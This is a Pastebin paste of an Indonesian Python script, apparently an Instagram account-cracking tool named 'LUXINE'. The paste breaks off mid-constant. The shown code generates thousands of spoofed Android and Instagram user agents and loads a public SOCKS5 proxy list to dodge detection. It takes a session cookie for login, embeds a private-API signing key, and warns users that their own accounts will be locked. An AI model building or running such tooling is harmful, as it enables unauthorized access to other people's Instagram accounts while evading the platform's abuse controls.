Advertisement
OBF-XIn

116.206.8.35-/sdcard/run.py.py

Jan 12th, 2023
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 69.57 KB | None | 0 0
  1. # coding:utf-8
  2. #/usr/bin/python
  3. P = '\x1b[1;97m' # PUTIH
  4. M = '\x1b[1;91m' # MERAH
  5. H = '\x1b[1;92m' # HIJAU
  6. K = '\x1b[1;93m' # KUNING
  7. B = '\x1b[1;94m' # BIRU
  8. U = '\x1b[1;95m' # UNGU
  9. O = '\x1b[1;96m' # BIRU MUDA
  10. N = '\x1b[0m'    # WARNA MATI
  11. try:
  12.     import json
  13.     import uuid
  14.     import hmac
  15.     import rich
  16.     import random
  17.     import hashlib
  18.     import urllib
  19.     import urllib.request
  20.     import calendar
  21. except ImportError as e:
  22.     exit(f'[!] {e} belum terinstall')
  23. import requests,bs4,json,os,sys,random,datetime,time,re
  24. try:
  25.         import rich
  26. except ImportError as e:
  27.         print (f" {M}• {P}sedang install bahan {H}{e.name}, {P}mohon tunggu...")
  28.         os.system(f"python -m pip install {e.name} &> /dev/null")
  29.         os.system(f"python -m pip install requests &> /dev/null")
  30.  
  31. from rich import print as prints
  32. from rich.console import Console
  33. from rich.columns import Columns
  34. from rich.panel import Panel
  35. from rich.tree import Tree
  36. from rich.table import Table as me
  37. from rich.console import Console as sol
  38. from bs4 import BeautifulSoup as sop
  39. from concurrent.futures import ThreadPoolExecutor as tred
  40. from rich.console import Group as gp
  41. from rich.panel import Panel as nel
  42. from rich import print as cetak
  43. from rich.markdown import Markdown as mark
  44. from rich.columns import Columns as col
  45. from time import sleep
  46. from concurrent.futures import ThreadPoolExecutor
  47. from datetime import datetime
  48. from bs4 import BeautifulSoup as parser
  49. import time
  50. from rich.progress import track
  51. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
  52. from rich.tree import Tree
  53. from rich import print as prints
  54. from rich.console import Console as sol
  55. from rich.panel import Panel as nel
  56. from rich import print as cetak
  57.  
  58. day=datetime.now().strftime("%d-%b-%Y")
  59. nyMnD = 5
  60. nyMxD = 10
  61. current_GMT = time.gmtime(time.time())
  62.  
  63. insta_log='https://www.instagram.com/accounts/login/?force_classic_login=&'
  64. url='https://www.instagram.com'
  65.  
  66. merah  = '[#FF0022]'
  67. hijau  = '[#00FF33]'
  68. hapus  = '[/]'
  69. bc = '[bold cyan]'
  70. kuning = '[#FFFF00]'
  71. kn = '[bold yellow]'
  72. hapus  = '[/]'
  73. biru_m = '[bold cyan]'
  74.  
  75. bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  76.  
  77. color_table = "#FFFFFF"
  78. color_rich = "[#00C8FF]"
  79. sys.stdout.write('\x1b]2; SCRIPT IG LUXINE\x07')
  80.  
  81. try:os.mkdir('data')
  82. except:pass
  83. try:os.mkdir('result')
  84. except:pass
  85.  
  86. CY='\033[96;1m'
  87. P = '\x1b[1;97m' # PUTIH
  88. M = '\x1b[1;91m' # MERAH
  89. H = '\x1b[1;92m' # HIJAU
  90. K = '\x1b[1;93m' # KUNING
  91. B = '\x1b[1;94m' # BIRU
  92. U = '\x1b[1;95m' # UNGU
  93. O = '\x1b[1;96m' # BIRU MUDA
  94. N = '\x1b[0m'    # WARNA MATI
  95. ### COLOR RICH ###
  96. warna_merah = "[#FF0000]" # MERAH
  97. warna_hijau = "[#00FF00]" # HIJAU
  98. warna_kuning = "[#FFFF00]" # KUNING
  99. warna_biru = "[#00C8FF]" # BIRU
  100. warna_ungu = "[#AF00FF]" # UNGU
  101. warna_biru2 = "[#00FFFF]" # BIRU MUDA
  102. warna_putih = "[#FFFFFF]" # PUTIH
  103. warna_jinga = "[#FF8F00]" # JINGGA
  104. warna_abu = "[#AAAAAA]" # ABU-ABU
  105. warna_magenta = "[#d700d7]" # MAGENTA
  106. bc = '[bold cyan]'
  107.  
  108. a = "[#8700af]"
  109. b = "[#87875f]"
  110. c = "[#8787af]"
  111. d = "[#87afff]"
  112. e = "[#87ff00]"
  113. R3 = random.choice([a, b, c, d, e])
  114.  
  115. USN = "Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Mobile/15B150 Instagram 32.0.0.14.97 (iPhone10,6; iOS 11_1_1; ru_UA; ru-UA; scale=3.00; gamut=wide; 1125x2436)"
  116.  
  117. internal,external,success,checkpoint,loop,following,lisensikuni,lisensiku=[],[],[],[],0,[],[],[]
  118. HARIS, HARIS1, method, ugen, ugen3, ugen2, baru, zx, prox, menudump, uazpepek = {}, {}, [], [], [], [], [], [], [], [], []
  119. s = requests.Session()
  120. UaNgentodMuach = []
  121.  
  122. def uazku():
  123.     rr = random.randint
  124.     rc = random.choice
  125.     uazku1 = f"Mozilla/5.0 (Linux; U; Android {str(rr(9,12))}; ru-ru; Redmi K20 Pro Premium Edition Build/QKQ1.{str(rr(111111,199999))}.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(71,99))}.0.{str(rr(3500,3900))}.{str(rr(140,150))} Mobile Safari/537.36 XiaoMi/MiuiBrowser/12.5.2-go"
  126.     uazku2 = f"Mozilla/5.0 (Linux; Android {str(rr(9,12))}; SM-G950W Build/PPR1.{str(rr(111111,199999))}.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(73,99))} Mobile Safari/537.36 Flipboard/4.3.0/{str(rr(5300,5500))},4.3.0.{str(rr(5300,5500))}"
  127.     uazku3 = f"Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-N985F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/19.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(75,150))} Mobile Safari/537.36  Android"
  128.     uazku4 = f"Mozilla/5.0 (Linux; Android {str(rr(9,12))}; Infinix X683 Build/QP1A.{str(rr(111111,199999))}.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(100,150))}.0.{str(rr(5300,5900))}.{str(rr(75,150))} Mobile Safari/537.36 GoogleApp/13.47.8.26.arm64"
  129.     uazku5 = f"Mozilla/5.0 (Linux; Android {str(rr(1,8))}.1.0; VSD243 Build/OPM8.{str(rr(111111,199999))}.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(60,75))}.0.{str(rr(3100,3500))}.{str(rr(75,99))} Safari/537.36"
  130.     uazku6 = f"Mozilla/5.0 (Linux; Android {str(rr(4,7))}.{str(rr(1,5))}; EK-GC200 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(60,99))}.0.{str(rr(3400,3900))}.{str(rr(100,150))} Mobile Safari/537.36"
  131.     uazku7 = f"Mozilla/5.0 (Linux; Android {str(rr(9,13))}; CPH2127 Build/RKQ1.{str(rr(211111,299999))}.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(100,150))}.0.{str(rr(5500,5900))}.{str(rr(120,150))} Mobile Safari/537.36"
  132.     uazku8 = str(rc([uazku1, uazku2, uazku3, uazku4, uazku5, uazku6, uazku7]))
  133.     return uazku8
  134.  
  135. for xc in range(1000):
  136.     rr = random.randint
  137.     rc = random.choice
  138.     uaz1 = f"Mozilla/5.0 (Linux; U; Android {str(rr(7,12))}; zh-CN; Infinix X6511B Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(2500,2900))}.{str(rr(75,150))} HiBrowser/2.5.016 UWS/ Mobile Safari/537.36"
  139.     uaz2 = f"Mozilla/5.0 (Linux; Android 11; RMX3195 Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(4500,4900))}.{str(rr(75,150))} YaBrowser/22.1.0.{str(rr(190,199))} (lite) Mobile Safari/537.36"
  140.     uaz3 = f"Mozilla/5.0 (Linux; Android {str(rr(9,12))}; CPH2197 Build/SKQ1.{str(rr(211111,299999))}.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(73,150))} Mobile Safari/537.36 Instagram {str(rr(260,290))}.0.0.{str(rr(20,99))}.{str(rr(320,390))} Android (31/{str(rr(9,12))}; 480dpi; 1080x2158; OPPO; CPH2197; OP4F39L1; qcom; de_DE; {str(rr(422222222,499999999))})"
  141.     uainsta = str(rc([uaz1, uaz2, uaz3]))
  142.     baru.append(uainsta)
  143.  
  144. for luxine_devs in range(10000):
  145.     rr = random.randint
  146.     rc = random.choice
  147.     uazku1 = f"Mozilla/5.0 (Linux; Android 11; RMX3231 Build/RP1A.201005.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(4500,4900))}.{str(rr(75,150))} Mobile Safari/537.36 Instagram {str(rr(260,290))}.0.0.{str(rr(20,99))}.{str(rr(320,390))} Android (30/11; 360dpi; 720x1437; realme; RMX3231; RMX3231; RMX3231; it_IT; {str(rr(422222222,499999999))})"
  148.     uazku2 = f"Mozilla/5.0 (Linux; Android {str(rr(9,12))}; SM-G960F Build/QP1A.{str(rr(111111,199999))}.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(73,99))} Mobile Safari/537.36 Instagram {str(rr(260,290))}.0.0.{str(rr(20,99))}.{str(rr(320,390))} Android (29/{str(rr(9,12))}; 540dpi; 1080x2058; samsung; SM-G960F; starlte; samsungexynos9810; it_IT; {str(rr(422222222,499999999))})"
  149.     uazku3 = f"Mozilla/5.0 (Linux; Android 11; Nokia 3.2 Build/RKQ1.{str(rr(211111,299999))}.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5500,5900))}.{str(rr(73,140))} Mobile Safari/537.36 Instagram {str(rr(260,290))}.0.0.{str(rr(20,90))}.{str(rr(111,199))} Android (30/11; 320dpi; 720x1368; HMD Global/Nokia; Nokia 3.2; DPL_sprout; qcom; it_IT; {str(rr(411111111,499999999))})"
  150.     uazstart = str(rc([uazku1, uazku2, uazku3]))
  151.     uazpepek.append(uazstart)
  152.  
  153. for luxine_dev in range(1000):
  154.    android1 = rc(["3","4","5","6","7","8","9","10","11","12"])
  155.    android2 = rc(["1.5","1.6","2.1","3.0.1","4.0.2","5.0.2","6.0.1","6.2.2","7.0.1","7.0","8.1.0","4.4.4","5.1","6.3"])
  156.    adtyaxcc = rc(['en-us','en-gb','id-id','de-de','ru-ru','en-sg','fr-fr','fa-ir','ja-jp','pt-br','cs-cz','zh-hk','zh-cn','vi-vn','en-ph','en-in','tr-tr'])
  157.    aZ = ['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
  158.    chrome1 = rr(73,99)
  159.    chrome2 = rr(4500,4900)
  160.    chrome3 = rr(75,150)
  161.    chrome4 = rr(111111,199999)
  162.    buildhan = rc([
  163.                   "MMB29P",
  164.                   "MMB29K",
  165.                   "LRX22G",
  166.                   "LMY48B",
  167.                   "JZO54K",
  168.                   "KTU84P",
  169.                   "KOT49H",
  170.                   "JDQ39"])
  171.    deviceku = rc([
  172.                   "Lenovo TB-X104X",
  173.                   "SM-G930VC",
  174.                   "Nexus 6P",
  175.                   "SAMSUNG SM-T550",
  176.                   "HTC Legend 1.32.163.1",
  177.                   "HTC_TATTOO_A3288",
  178.                   "Nexus One",
  179.                   "LG-L1100",
  180.                   "SonyEricssonX10i",
  181.                   "SM-A510F",
  182.                   "SM-T560",
  183.                   "B3-A20",
  184.                   "XT720"])
  185.    ugent1 = f"Mozilla/5.0 (Linux; Android {android1}; SM-R825F Build/QP1A.{chrome4}.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{chrome1}.0.{chrome2}.{chrome3} Mobile Safari/537.36"
  186.    ugent2 = f"Mozilla/5.0 (Linux; U; Android {android2}; {adtyaxcc}; {deviceku} Build/{buildhan}) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1"
  187.    ugent3 = f"Mozilla/5.0 (Linux; Android 10; RMX2185 Build/QP1A.{chrome4}.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{chrome1}.0.{chrome2}.{chrome3} Mobile Safari/537.36 OPR/48.2.{chrome2}.133{chrome3}"
  188.    biwir_berem = rc([ugent1,ugent2,ugent3])
  189.    UaNgentodMuach.append(biwir_berem)
  190.    
  191.  
  192. try:
  193.     with requests.Session() as ses:
  194.         _url = ses.get("https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt").text
  195.         for xc in _url.splitlines():
  196.             prox.append(xc)
  197. except requests.exceptions.ConnectionError:
  198.     print(f"{P}[{M}!{P}] koneksi internet anda bermasalah")
  199.     time.sleep(0.3)
  200.     exit()
  201.  
  202. try:
  203.     with requests.Session() as ses:
  204.           url = ses.get("http://ip-api.com/json/").json()
  205.           alamat_ip  = url["query"]
  206.           alamat_cn= url["country"]
  207.           alamat_region = url["regionName"]
  208. except KeyError:
  209.     alamat_ip = "-"
  210.     alamat_cn = "-"
  211.     alamat_region = "-"
  212.  
  213. def clear():
  214.     try:os.system('clear')
  215.     except:pass
  216.  
  217. def RemoveCookie():
  218.     try:os.remove("data/cookie.txt")
  219.     except:pass
  220.     try:os.remove("data/user.txt")
  221.     except:pass
  222.  
  223. def waktu():
  224.     now = datetime.now()
  225.     hours = now.hour
  226.     if 4 <= hours < 12:timenow = "Good Morning"
  227.     elif 12 <= hours < 15:timenow = "Good Afternoon"
  228.     elif 15 <= hours < 18:timenow = "Good Evening"
  229.     else:timenow = "Good Night"
  230.     return timenow
  231.  
  232. def jalan(keliling):
  233.     for mau in keliling + '\n':
  234.         sys.stdout.write(mau)
  235.         sys.stdout.flush();sleep(0.03)
  236.  
  237. def banner():
  238.     try:clear()
  239.     except:pass
  240.     insta = prints
  241.     crack = Panel
  242.     insta(crack(f"""
  243. {warna_biru}
  244. ______   ______            ______   __    __  ________
  245. /      | /      \         /      \ /  \ /  |/        |
  246. $$$$$$/ /$$$$$$  |        /$$$$$$  |$$  \ $$ |$$$$$$$$/
  247.  $$ |  $$ | _$$/  ______ $$ |  $$ |$$$  \$$ |$$ |__    
  248.  $$ |  $$ |/    |/      |$$ |  $$ |$$$$  $$ |$$    |  
  249.  $$ |  $$ |$$$$ |$$$$$$/ $$ |  $$ |$$ $$ $$ |$$$$$/    
  250. _$$ |_ $$ \__$$ |        $$ \__$$ |$$ |$$$$ |$$ |_____
  251. / $$   |$$    $$/         $$    $$/ $$ | $$$ |$$       |
  252. $$$$$$/  $$$$$$/           $$$$$$/  $$/   $$/ $$$$$$$$/
  253.                                                        """,title=f'{warna_biru}• {warna_merah}• {warna_putih}made by {warna_merah}indonesia coder {warna_merah}• {warna_biru}•'))
  254.  
  255. def loading():
  256.     animation = ["[\x1b[1;91m■\x1b[0m□□□□□□□□□]","[\x1b[1;92m■■\x1b[0m□□□□□□□□]", "[\x1b[1;93m■■■\x1b[0m□□□□□□□]", "[\x1b[1;94m■■■■\x1b[0m□□□□□□]", "[\x1b[1;95m■■■■■\x1b[0m□□□□□]", "[\x1b[1;96m■■■■■■\x1b[0m□□□□]", "[\x1b[1;97m■■■■■■■\x1b[0m□□□]", "[\x1b[1;98m■■■■■■■■\x1b[0m□□]", "[\x1b[1;99m■■■■■■■■■\x1b[0m□]", "[\x1b[1;910m■■■■■■■■■■\x1b[0m]"]
  257.     for i in range(50):
  258.         time.sleep(0.1)
  259.         sys.stdout.write(f"\r[•]LOADING... " + animation[i % len(animation)] +"\x1b[0m ")
  260.         sys.stdout.flush()
  261.     print("")      
  262.  
  263. try:
  264.     # python 2
  265.     urllib_quote_plus = urllib.quote
  266. except:
  267.     # python 3
  268.     urllib_quote_plus = urllib.parse.quote_plus
  269.  
  270. def cekAPI(cookie):
  271.     user=open('data/user.txt','r').read()
  272.     coki = open('data/cookie.txt','r').read()
  273.     try:
  274.         c=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),cookies={'cookie':coki},headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  275.         i=c.json()["data"]["user"]
  276.         nama=i["full_name"]
  277.         followers=i["edge_followed_by"]["count"]
  278.         following=i["edge_follow"]["count"]
  279.         external.append(f'{nama}|{followers}|{following}')
  280.     except FileNotFoundError:
  281.         os.remove('data/cookie.txt')
  282.         os.remove('data/user.txt')
  283.     except  (ValueError,KeyError):
  284.         print(f"{P}[{B}+{P}] instagram checkpoint")
  285.         os.remove('data/cookie.txt')
  286.         os.remove('data/user.txt')
  287.         exit()
  288.  
  289.     return external,user
  290.  
  291. def ggwp17():
  292.         try:
  293.             kuki=open('data/cookie.txt','r').read()
  294.         except FileNotFoundError:
  295.             banner()
  296.             insta = prints
  297.             crack = Panel
  298.             insta(crack(f"""DI SARANKAN TIDAK MENGUNAKAN AKUN PRIBADI/AKUN SENDIRI KARNA AKAN MENYEBABKAN AKUN TERKENA KUNCI/SESI""",title=f'{warna_biru}• {warna_merah}• {warna_ungu}SARAN'))
  299.             coki = input(f"{P}[{M}C{P}] masukan cookie anda : ")
  300.             loading()
  301.             try:
  302.                 id = re.search('ds_user_id=(\d+)',str(coki)).group(1)
  303.                 po = s.get(f"https://i.instagram.com/api/v1/users/{id}/info/",headers={"user-agent":USN},cookies={"cookie":coki})
  304.                 xx = json.loads(po.text)['user']
  305.                 useri = xx["username"]
  306.                 user = open('data/user.txt','w').write(useri)
  307.                 kuki = open('data/cookie.txt','w').write(coki)
  308.                 insta(crack(f"""{warna_biru}{coki}""",title=f'{warna_biru}• {warna_merah}•{warna_ungu} LOGIN DENGAN COOKIE {warna_merah}•{warna_biru} •'))
  309.                 time.sleep(0.05)
  310.                 time.sleep(3)
  311.             except (json.decoder.JSONDecodeError, KeyError, AttributeError):
  312.                 jalan(f"{P}[{M}(:{P}] cookie invalid")
  313.                 time.sleep(3)
  314.                 RemoveCookie()
  315.                 exit()
  316.             except ConnectionAbortedError:
  317.                 print(f"{P}[{M}!{P}] koneksi internet anda bermasalah")
  318.                 time.sleep(3)
  319.                 exit()
  320.         ex,user=cekAPI(kuki)
  321.         cookie={'cookie':kuki}
  322.         instagram(ex,user,cookie).menu()
  323.  
  324. def User_Agent():
  325.     dpi_phone = [
  326.         '133','320','515','160','640','240','120'
  327.         '800','480','225','768','216','1024']
  328.     model_phone = [
  329.         'Nokia 2.4','HUAWEI','Galaxy',
  330.         'Unlocked Smartphones','Nexus 6P',
  331.         'Mobile Phones','Xiaomi',
  332.         'samsung','OnePlus']
  333.     pxl_phone = [
  334.         '623x1280','700x1245','800x1280',
  335.         '1080x2340','1320x2400','1242x2688']
  336.     i_version = [
  337.         '114.0.0.20.2','114.0.0.38.120',
  338.         '114.0.0.20.70','114.0.0.28.120',
  339.         '114.0.0.0.24','114.0.0.0.41']
  340.     User_Agent = f'Instagram '+random.choice(i_version)+' Android (30/3.0; '+random.choice(dpi_phone)+'dpi; '+random.choice(pxl_phone)+'; huawei/google; '+random.choice(model_phone)+'; angler; angler; en_US)'
  341.     return User_Agent
  342.  
  343. def user_agent():
  344.     resolutions = ['720x1280', '320x480', '480x800', '1024x768', '1280x720', '768x1024', '480x320']
  345.     versions = ['GT-N7000', 'SM-N9000', 'GT-I9220', 'GT-I9100']
  346.     dpis = ['120', '160', '320', '240']
  347.     ver = random.choice(versions)
  348.     dpi = random.choice(dpis)
  349.     res = random.choice(resolutions)
  350.     return (
  351.         'Instagram 4.{}.{} '
  352.         'Android ({}/{}.{}.{}; {}; {}; samsung; {}; {}; smdkc210; en_US)'
  353.     ).format(
  354.         random.randint(1, 2),
  355.         random.randint(0, 2),
  356.         random.randint(10, 11),
  357.         random.randint(1, 3),
  358.         random.randint(3, 5),
  359.         random.randint(0, 5),
  360.         dpi,
  361.         res,
  362.         ver,
  363.         ver,
  364.     )
  365.  
  366. def user_agentAPI():
  367.     APP_VERSION = "136.0.0.34.124"
  368.     VERSION_CODE = "208061712"
  369.     DEVICES = {
  370.         "one_plus_7": {"app_version": APP_VERSION,"android_version": "29","android_release": "10.0","dpi": "420dpi","resolution": "1080x2340","manufacturer": "OnePlus","device": "GM1903","model": "OnePlus7","cpu": "qcom","version_code": VERSION_CODE},
  371.         "one_plus_3": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "420dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3003","model": "OnePlus3","cpu": "qcom","version_code": VERSION_CODE},
  372.         "samsung_galaxy_s7": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G930F","model": "herolte","cpu": "samsungexynos8890","version_code": VERSION_CODE},
  373.         "huawei_mate_9_pro": {"app_version": APP_VERSION,"android_version": "24","android_release": "7.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "HUAWEI","device": "LON-L29","model": "HWLON","cpu": "hi3660","version_code": VERSION_CODE},
  374.         "samsung_galaxy_s9_plus": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G965F","model": "star2qltecs","cpu": "samsungexynos9810","version_code": VERSION_CODE},
  375.         "one_plus_3t": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "380dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3010","model": "OnePlus3T","cpu": "qcom","version_code": VERSION_CODE},
  376.         "lg_g5": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2392","manufacturer": "LGE/lge","device": "RS988","model": "h1","cpu": "h1","version_code": VERSION_CODE},
  377.         "zte_axon_7": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "ZTE","device": "ZTE A2017U","model": "ailsa_ii","cpu": "qcom","version_code": VERSION_CODE},
  378.         "samsung_galaxy_s7_edge": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G935","model": "hero2lte","cpu": "samsungexynos8890","version_code": VERSION_CODE},}
  379.     DEFAULT_DEVICE = random.choice(list(DEVICES.keys()))
  380.     app_version = DEVICES[DEFAULT_DEVICE]['app_version']
  381.     android_version = DEVICES[DEFAULT_DEVICE]['android_version']
  382.     android_release = DEVICES[DEFAULT_DEVICE]['android_release']
  383.     dpi = DEVICES[DEFAULT_DEVICE]['dpi']
  384.     resolution = DEVICES[DEFAULT_DEVICE]['resolution']
  385.     manufacturer = DEVICES[DEFAULT_DEVICE]['manufacturer']
  386.     device = DEVICES[DEFAULT_DEVICE]['device']
  387.     model = DEVICES[DEFAULT_DEVICE]['model']
  388.     cpu = DEVICES[DEFAULT_DEVICE]['cpu']
  389.     version_code = DEVICES[DEFAULT_DEVICE]['version_code']
  390.     USER_AGENT_BASE = f"Instagram {app_version} "+f"Android ({android_version}/{android_release}; "+f"{dpi}; {resolution}; {manufacturer}; "+f"{device}; {model}; {cpu}; en_US; {version_code})"
  391.     return USER_AGENT_BASE
  392.  
  393. class instagramAPI:
  394.     API_URL = 'https://i.instagram.com/api/v1/'
  395.     DEVICE_SETTINTS = {'manufacturer': 'Xiaomi',
  396.         'model': 'HM 1SW',
  397.         'android_version': 18,
  398.         'android_release': '4.3'}
  399.     USER_AGENT = 'Instagram 10.26.0 Android ({android_version}/{android_release}; 320dpi; 720x1280; {manufacturer}; {model}; armani; qcom; en_US)'.format(**DEVICE_SETTINTS)
  400.     IG_SIG_KEY = '4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178'
  401.     EXPERIMENTS = 'ig_promote_reach_objective_fix_universe,ig_android_universe_video_production,ig_search_client_h1_2017_holdout,ig_android_live_follow_from_comments_universe,ig_android_carousel_non_square_creation,ig_android_live_analytics,ig_android_follow_all_dialog_confirmation_copy,ig_android_stories_server_coverframe,ig_android_video_captions_universe,ig_android_offline_location_feed,ig_android_direct_inbox_retry_seen_state,ig_android_ontact_invite_universe,ig_android_live_broadcast_blacklist,ig_android_insta_video_reconnect_viewers,ig_android_ad_async_ads_universe,ig_android_search_clear_layout_universe,ig_android_shopping_reporting,ig_android_stories_surface_universe,ig_android_verified_comments_universe,ig_android_preload_media_ahead_in_current_reel,android_instagram_prefetch_suggestions_universe,ig_android_reel_viewer_fetch_missing_reels_universe,ig_android_direct_search_share_sheet_universe,ig_android_business_promote_tooltip,ig_android_direct_blue_tab,ig_android_async_network_tweak_universe,ig_android_elevate_main_thread_priority_universe,ig_android_stories_gallery_nux,ig_android_instavideo_remove_nux_comments,ig_video_copyright_whitelist,ig_react_native_inline_insights_with_relay,ig_android_direct_thread_message_animation,ig_android_draw_rainbow_client_universe,ig_android_direct_link_style,ig_android_live_heart_enhancements_universe,ig_android_rtc_reshare,ig_android_preload_item_count_in_reel_viewer_buffer,ig_android_users_bootstrap_service,ig_android_auto_retry_post_mode,ig_android_shopping,ig_android_main_feed_seen_state_dont_send_info_on_tail_load,ig_fbns_preload_default,ig_android_gesture_dismiss_reel_viewer,ig_android_tool_tip,ig_android_ad_logger_funnel_logging_universe,ig_android_gallery_grid_column_count_universe,ig_android_business_new_ads_payment_universe,ig_android_direct_links,ig_android_audience_control,ig_android_live_encore_consumption_settings_universe,ig_perf_android_holdout,ig_android_cache_contact_import_list,ig_android_links_receivers,ig_android_ad_impression_backtest,ig_android_list_redesign,ig_android_stories_separate_overlay_creation,ig_android_stop_video_recording_fix_universe,ig_android_render_video_segmentation,ig_android_live_encore_reel_chaining_universe,ig_android_sync_on_background_enhanced_10_25,ig_android_immersive_viewer,ig_android_mqtt_skywalker,ig_fbns_push,ig_android_ad_watchmore_overlay_universe,ig_android_react_native_universe,ig_android_profile_tabs_redesign_universe,ig_android_live_consumption_abr,ig_android_story_viewer_social_context,ig_android_hide_post_in_feed,ig_android_video_loopcount_int,ig_android_enable_main_feed_reel_tray_preloading,ig_android_camera_upsell_dialog,ig_android_ad_watchbrowse_universe,ig_android_internal_research_settings,ig_android_search_people_tag_universe,ig_android_react_native_ota,ig_android_enable_concurrent_request,ig_android_react_native_stories_grid_view,ig_android_business_stories_inline_insights,ig_android_log_mediacodec_info,ig_android_direct_expiring_media_loading_errors,ig_video_use_sve_universe,ig_android_cold_start_feed_request,ig_android_enable_zero_rating,ig_android_reverse_audio,ig_android_branded_content_three_line_ui_universe,ig_android_live_encore_production_universe,ig_stories_music_sticker,ig_android_stories_teach_gallery_location,ig_android_http_stack_experiment_2017,ig_android_stories_device_tilt,ig_android_pending_request_search_bar,ig_android_fb_topsearch_sgp_fork_request,ig_android_seen_state_with_view_info,ig_android_animation_perf_reporter_timeout,ig_android_new_block_flow,ig_android_story_tray_title_play_all_v2,ig_android_direct_address_links,ig_android_stories_archive_universe,ig_android_save_collections_cover_photo,ig_android_live_webrtc_livewith_production,ig_android_sign_video_url,ig_android_stories_video_prefetch_kb,ig_android_stories_create_flow_favorites_tooltip,ig_android_live_stop_broadcast_on_404,ig_android_live_viewer_invite_universe,ig_android_promotion_feedback_channel,ig_android_render_iframe_interval,ig_android_accessibility_logging_universe,ig_android_camera_shortcut_universe,ig_android_use_one_cookie_store_per_user_override,ig_profile_holdout_2017_universe,ig_android_stories_server_brushes,ig_android_ad_media_url_logging_universe,ig_android_shopping_tag_nux_text_universe,ig_android_comments_single_reply_universe,ig_android_stories_video_loading_spinner_improvements,ig_android_collections_cache,ig_android_comment_api_spam_universe,ig_android_facebook_twitter_profile_photos,ig_android_shopping_tag_creation_universe,ig_story_camera_reverse_video_experiment,ig_android_direct_bump_selected_recipients,ig_android_ad_cta_haptic_feedback_universe,ig_android_vertical_share_sheet_experiment,ig_android_family_bridge_share,ig_android_search,ig_android_insta_video_consumption_titles,ig_android_stories_gallery_preview_button,ig_android_fb_auth_education,ig_android_camera_universe,ig_android_me_only_universe,ig_android_instavideo_audio_only_mode,ig_android_user_profile_chaining_icon,ig_android_live_video_reactions_consumption_universe,ig_android_stories_hashtag_text,ig_android_post_live_badge_universe,ig_android_swipe_fragment_container,ig_android_search_users_universe,ig_android_live_save_to_camera_roll_universe,ig_creation_growth_holdout,ig_android_sticker_region_tracking,ig_android_unified_inbox,ig_android_live_new_watch_time,ig_android_offline_main_feed_10_11,ig_import_biz_contact_to_page,ig_android_live_encore_consumption_universe,ig_android_experimental_filters,ig_android_search_client_matching_2,ig_android_react_native_inline_insights_v2,ig_android_business_conversion_value_prop_v2,ig_android_redirect_to_low_latency_universe,ig_android_ad_show_new_awr_universe,ig_family_bridges_holdout_universe,ig_android_background_explore_fetch,ig_android_following_follower_social_context,ig_android_video_keep_screen_on,ig_android_ad_leadgen_relay_modern,ig_android_profile_photo_as_media,ig_android_insta_video_consumption_infra,ig_android_ad_watchlead_universe,ig_android_direct_prefetch_direct_story_json,ig_android_shopping_react_native,ig_android_top_live_profile_pics_universe,ig_android_direct_phone_number_links,ig_android_stories_weblink_creation,ig_android_direct_search_new_thread_universe,ig_android_histogram_reporter,ig_android_direct_on_profile_universe,ig